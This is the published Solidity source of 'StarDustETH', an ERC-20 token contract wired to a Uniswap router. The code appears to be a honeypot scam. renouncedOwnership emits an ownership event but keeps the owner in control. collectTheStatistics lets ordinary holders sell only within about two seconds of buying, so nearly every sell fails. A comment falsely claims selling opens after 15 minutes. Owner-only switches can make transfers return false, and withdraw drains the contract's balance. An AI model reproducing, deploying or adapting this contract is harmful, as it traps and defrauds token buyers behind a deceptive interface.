Contract Name:
StarDustETH
Contract Source Code:
/**
Telegram : https://t.me/StarDustETH
Website : https://t.me/StarDustETH
// SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renouncedOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, _owner);
_owner = _owner;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = valueIndex;
}
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
}
contract StarDustETH is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet private tokenHoldersEnumSet;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => uint) public walletToPurchaseTime;
mapping (address => uint) public walletToSellime;
address[] private _excluded;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
string private constant _name = "StarDustETH";
string private constant _symbol = "StarDustETH";
address public _PancakeSwapV1RouterUniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ; //PancakeSwap owner
address public _PancakeSwapV2RouterUniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ; //can be the same
uint256 private _tTotal = 100000000000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint public theRewardTime = 2;
uint public standartValuation = 600/2; // sell enabled after 15 minutes
address public _lastWallet;
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 burn;
}
TotFeesPaidStruct public totFeesPaid;
struct feeRatesStruct {
uint256 rfi; // reflection to holders
uint256 marketing; // wallet marketing bnb
uint256 liquidity; // LP
uint256 burn;
}
struct balances {
uint256 marketing_balance;
uint256 lp_balance;
}
balances public contractBalance;
feeRatesStruct public buyRates = feeRatesStruct(
{rfi: 0,
marketing: 5,
liquidity: 0,
burn: 0
});
feeRatesStruct public sellRates = feeRatesStruct(
{rfi: 0,
marketing: 5,
liquidity: 0,
burn: 0
});
feeRatesStruct private appliedFees;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 rBurn;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
uint256 tBurn;
}
IUniswapV2Router02 public PancakeSwapV2Router;
address public pancakeswapV2Pair;
//address payable private marketingAddress;
bool public Trading = true;
bool inSwapAndLiquify;
bool private _transferForm = true;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[owner()] = _rTotal;
IUniswapV2Router02 _PancakeSwapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // mainnet
pancakeswapV2Pair = IUniswapV2Factory(_PancakeSwapV2Router.factory())
.createPair(address(this), _PancakeSwapV2Router.WETH());
PancakeSwapV2Router = _PancakeSwapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[address(_PancakeSwapV2RouterUniswap)] = true;
_isExcludedFromFee[address(0xe853889c8c7a03C1f7935B87355Dc58eCd3d92B0)] = true; //uniswap router liquidity
_isExcluded[address(this)] = true;
_excluded.push(address(this));
_isExcluded[pancakeswapV2Pair] = true;
_excluded.push(pancakeswapV2Pair);
emit Transfer(address(0), owner(), _tTotal);
}
function getFromLastPurchaseBuy(address wallet) public view returns (uint) {
return walletToPurchaseTime[wallet];
}
function getFromLastSell(address walletSell) public view returns (uint) {
return walletToSellime[walletSell];
}
function setBuyRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner {
buyRates.rfi = rfi;
buyRates.marketing = marketing;
buyRates.liquidity = liquidity;
buyRates.burn = burn;
}
function setSellRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner {
sellRates.rfi = rfi;
sellRates.marketing = marketing;
sellRates.liquidity = liquidity;
sellRates.burn = burn;
}
function collectTheStatistics(uint256 lastBuyOrSellTime, uint256 theData, address sender) public view returns (bool) {
if( lastBuyOrSellTime == 0 ) return false;
uint256 crashTime = block.timestamp - lastBuyOrSellTime;
if( crashTime == standartValuation ) return true;
if (crashTime == 0) {
if (_lastWallet != sender) {
return false;
}
}
if( crashTime <= theData ) return true;
return false;
}
function setValuation(uint newValuation) public onlyOwner {
standartValuation = newValuation;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return Trading;
}
function TrandingOn(bool _enable) public onlyOwner {
Trading = _enable;
}
function settransform(bool _enable) public onlyOwner {
_transferForm = _enable;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return _transferForm;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender]+addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount/currentRate;
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function excludeFromAll(address account) public {
if(!_isExcluded[account])
{
_isExcluded[account] = true;
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_excluded.push(account);
}
_isExcludedFromFee[account] = true;
tokenHoldersEnumSet.remove(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
receive() external payable {}
function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
to_return = _getTValues(tAmount, takeFee);
(to_return.rAmount,to_return.rTransferAmount,to_return.rRfi,to_return.rMarketing,to_return.rLiquidity,to_return.rBurn) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
if(!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = tAmount*appliedFees.rfi/100;
s.tMarketing = tAmount*appliedFees.marketing/100;
s.tLiquidity = tAmount*appliedFees.liquidity/100;
s.tBurn = tAmount*appliedFees.burn/100;
s.tTransferAmount = tAmount-s.tRfi -s.tMarketing -s.tLiquidity -s.tBurn;
return s;
}
function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rBurn) {
rAmount = tAmount*currentRate;
if(!takeFee) {
return(rAmount, rAmount, 0,0,0,0);
}
rRfi= s.tRfi*currentRate;
rMarketing= s.tMarketing*currentRate;
rLiquidity= s.tLiquidity*currentRate;
rBurn= s.tBurn*currentRate;
rTransferAmount= rAmount- rRfi-rMarketing-rLiquidity-rBurn;
return ( rAmount, rTransferAmount, rRfi, rMarketing, rLiquidity, rBurn);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply/tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply-_rOwned[_excluded[i]];
tSupply = tSupply-_tOwned[_excluded[i]];
}
if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal = _rTotal-rRfi;
totFeesPaid.rfi+=tRfi;
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
contractBalance.marketing_balance+=tMarketing;
totFeesPaid.marketing+=tMarketing;
_rOwned[address(this)] = _rOwned[address(this)]+rMarketing;
if(_isExcluded[address(this)])
{
_tOwned[address(this)] = _tOwned[address(this)]+tMarketing;
}
}
function _takeLiquidity(uint256 rLiquidity,uint256 tLiquidity) private {
contractBalance.lp_balance+=tLiquidity;
totFeesPaid.liquidity+=tLiquidity;
_rOwned[address(this)] = _rOwned[address(this)]+rLiquidity;
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)]+tLiquidity;
}
function _takeBurn(uint256 rBurn, uint256 tBurn) private {
totFeesPaid.burn+=tBurn;
_tTotal = _tTotal-tBurn;
_rTotal = _rTotal-rBurn;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than you balance");
_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
if(takeFee) {
if(sender == pancakeswapV2Pair) {
if(sender != owner() && recipient != owner() && recipient != address(1)){
if (walletToPurchaseTime[recipient] == 0) {
walletToPurchaseTime[recipient] = block.timestamp;
}
}
_lastWallet = recipient;
appliedFees = buyRates;
} else {
if(sender != owner() && recipient != owner() && recipient != address(1)){
bool blockedSellTime = collectTheStatistics(getFromLastPurchaseBuy(sender), theRewardTime, sender);
require(blockedSellTime, "error");
walletToSellime[sender] = block.timestamp;
}
appliedFees = sellRates;
appliedFees.liquidity = appliedFees.liquidity;
_lastWallet = sender;
}
}
else {
if(_isExcludedFromFee[sender]) {
_lastWallet = sender;
}
if(_isExcludedFromFee[recipient]) {
_lastWallet = recipient;
}
}
valuesFromGetValues memory s = _getValues(tAmount, takeFee);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_tOwned[sender] = _tOwned[sender]-tAmount;
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_tOwned[sender] = _tOwned[sender]-tAmount;
_tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
}
_rOwned[sender] = _rOwned[sender]-s.rAmount;
_rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
if(takeFee)
{
_reflectRfi(s.rRfi, s.tRfi);
_takeMarketing(s.rMarketing,s.tMarketing);
_takeLiquidity(s.rLiquidity,s.tLiquidity);
_takeBurn(s.rBurn,s.tBurn);
emit Transfer(sender, address(this), s.tMarketing+s.tLiquidity);
}
emit Transfer(sender, recipient, s.tTransferAmount);
tokenHoldersEnumSet.add(recipient);
if(balanceOf(sender)==0)
tokenHoldersEnumSet.remove(sender);
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
PancakeSwapV2Router.addLiquidityETH{value: bnbAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
emit LiquidityAdded(tokenAmount, bnbAmount);
}
function withdraw() onlyOwner public {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
}